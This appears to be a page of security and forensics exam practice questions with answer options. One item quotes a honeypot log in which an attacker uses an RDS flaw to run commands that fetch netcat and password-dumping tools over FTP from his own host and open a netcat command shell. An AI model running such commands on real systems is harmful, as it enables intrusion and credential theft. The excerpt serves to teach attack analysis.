Software firewalls work at which layer of the OSI model?

• A.Network
• B.Data Link
• C.Transport
• D.Application

Comment: *

Name: *

Email: *

Verification: *

The following excerpt is taken from a honeypot log that was hosted at
lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File
Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?

• A.It is a local exploit where the attacker logs in using username johna2k
• B.There are two attackers on the system - johna2k and haxedj00
• C.The attack is a remote exploit and the hacker downloads three files
• D.The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Comment: *

Name: *

Email: *

Verification: *

Bob works as an Information Security Analyst for a big finance company. One day, the anomaly-based intrusion detection system alerted that a volumetric DDOS targeting the main IP of the main web server was occurring. What kind of attack is it?

• A.IDS Attack
• B.Network Attack
• C.Web Application Attack
• D.Advanced Persistent Threat (APT)

Comment: *

Name: *

Email: *

Verification: *

Email archiving is a systematic approach to save and protect the data contained in emails so that it can be accessed fast at a later date. There are two main archive types, namely
Local Archive and Server Storage Archive. Which of the following statements is correct while dealing with local archives?

• A.It is difficult to deal with the webmail as there is no offline archive in most cases. So consult your counsel on the case as to the best way to approach and gain access to the required data on servers
• B.Local archives should be stored together with the server storage archives in order to be admissible in a court of law
• C.Server storage archives are the server information and settings stored on a local system whereas the local archives are the local email client information stored on the mail server
• D.Local archives do not have evidentiary value as the email client may alter the message data

Comment: *

Name: *

Email: *

Verification: *

What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired?

• A.Every byte of the file(s) is copied to three different hard drives
• B.Every byte of the file(s) is encrypted using three different methods
• C.Every byte of the file(s) is verified using 32-bit CRC
• D.Every byte of the file(s) is given an MD5 hash to match against a master file

Comment: *

Name: *

Email: *

Verification: *